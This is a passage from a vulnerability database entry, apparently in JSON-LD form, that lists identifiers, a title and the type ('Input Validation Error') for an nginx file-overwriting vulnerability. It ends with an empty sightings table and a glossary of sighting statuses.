"CNNVD", "id": "CNNVD-201001-094" } ], "trust": 0.6 }, "title": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "nginx Vulnerabilities in file overwriting", "sources": [ { "db": "JVNDB", "id": "JVNDB-2010-004324" } ], "trust": 0.8 }, "type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Input Validation Error", "sources": [ { "db": "BID", "id": "37711" }, { "db": "CNNVD", "id": "CNNVD-201001-094" } ], "trust": 0.9 } }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.